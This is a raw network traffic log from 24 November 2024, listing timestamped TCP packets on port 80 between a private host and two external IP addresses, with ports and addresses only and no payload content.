Nov 24, 2024 12:24:26.920520067 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.920531988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.921264887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.921304941 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.921349049 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.922178030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.922219038 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.922298908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.923074007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.923120022 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.923132896 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.923928976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.923974037 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.924043894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.924803972 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.924809933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.924901962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.925785065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.925827980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.925832987 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.926561117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.926683903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.926728010 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.927484989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.927658081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.928344965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.928400040 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.928436041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.928473949 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.929203987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.929297924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.929342031 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.930108070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.930260897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.931019068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.931073904 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.931154966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.931842089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.931901932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.931946993 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.932713032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.932818890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.933584929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.933629036 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.933698893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.934463978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.934509039 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.934561014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.935352087 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.935388088 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.935432911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.936260939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.936302900 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.936347008 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.936595917 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.937100887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.937160015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.937971115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.938014030 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.938091993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.938962936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.939023018 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.939066887 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.940058947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.940160990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.940202951 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.940764904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.940834999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.941523075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.941565037 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.941596031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.941963911 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.971523046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.971587896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.971631050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.971714020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.972091913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.972136021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.972147942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.972193956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.973201036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.973248005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.973274946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.973352909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.974276066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.974437952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.974664927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.974719048 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.974983931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.975023985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.975785017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.975897074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.975919962 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.975953102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.976865053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.976938009 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.976989985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.977154016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.977976084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.978101015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.978142023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.979101896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.979178905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.979207039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.979429007 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.980180979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.980223894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.980271101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.980381012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.981280088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.981426001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.981534004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.982393980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.982451916 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.982537031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.982635021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.983509064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.983555079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.983596087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.983722925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.984661102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.984816074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.985737085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.985785007 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.985843897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.986888885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.986906052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.986949921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.987888098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.987974882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.988490105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.988993883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.989161968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.989204884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.990125895 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.990245104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.990292072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.991224051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.991327047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.992316008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.992367029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.992415905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.992811918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.993458033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.993536949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.993648052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.994528055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.994637966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.994687080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.995635033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.995677948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.995732069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.995851994 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.996753931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.996793985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.996907949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.996947050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.997843027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.997908115 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.997940063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.998011112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.998967886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.999059916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.999088049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.999205112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.000091076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.000193119 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.000205994 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.000230074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.001245975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.001368046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.001396894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.001409054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.002285957 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.002407074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.002432108 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.002461910 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.003376961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.003464937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.003503084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.003544092 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.004545927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.004615068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.004667997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.004733086 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.005867004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.005916119 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.006257057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.006297112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.006742001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.006762981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.006819963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.006819963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.007833958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.008105993 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.008167028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.008920908 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.008965015 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.009090900 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.009141922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.010034084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.010081053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.010133028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.010262012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.011132002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.011173964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.011261940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.011301994 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.012233973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.012273073 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.012356997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.012743950 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.013431072 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.013576031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.014090061 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.014497042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.014544010 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.014616966 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.014739037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.015551090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.015671015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.015775919 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.016717911 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.016809940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.016844034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.017777920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.017811060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.017855883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.017946005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.018627882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.018692017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.018738031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.018840075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.019738913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.019819975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.019849062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.019884109 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.020857096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.021001101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.021030903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.021071911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.022157907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.022207975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.022244930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.022305965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.023041964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.023159027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.023221016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.024135113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.024252892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.024698019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.025175095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.025237083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.025253057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.025269985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.025295973 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.025295973 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.025317907 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.025691032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.025717974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.025861979 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.026369095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.026536942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.026580095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.026617050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.026633024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.026683092 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.027337074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.027376890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.027415991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.027431965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.027578115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.027602911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.027616024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.028243065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.028280973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.028326035 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.028547049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.028594017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.028645039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.028697968 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.029253006 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.029478073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.029566050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.029994011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.030090094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.030128002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.104341984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.104362011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.104775906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.104840994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.104861975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.104909897 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.105684042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.105741978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.105792046 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.106524944 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.106635094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.107582092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.107636929 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.107676029 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.108295918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.108429909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.108481884 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.109157085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.109267950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.110042095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.110099077 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.110116005 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.110929966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.111161947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.111216068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.111818075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.111924887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.112673998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.112781048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.112802029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.112831116 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.113573074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.113677979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.114455938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.114500999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.114543915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.115355015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.115442038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.115489960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.116225958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.116319895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.116364002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.117090940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.117181063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.117927074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.117971897 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.118038893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.118127108 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.118832111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.118964911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.119081974 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.119832039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.120027065 CET	80	49792	34.116.198.130	192.168.2.4
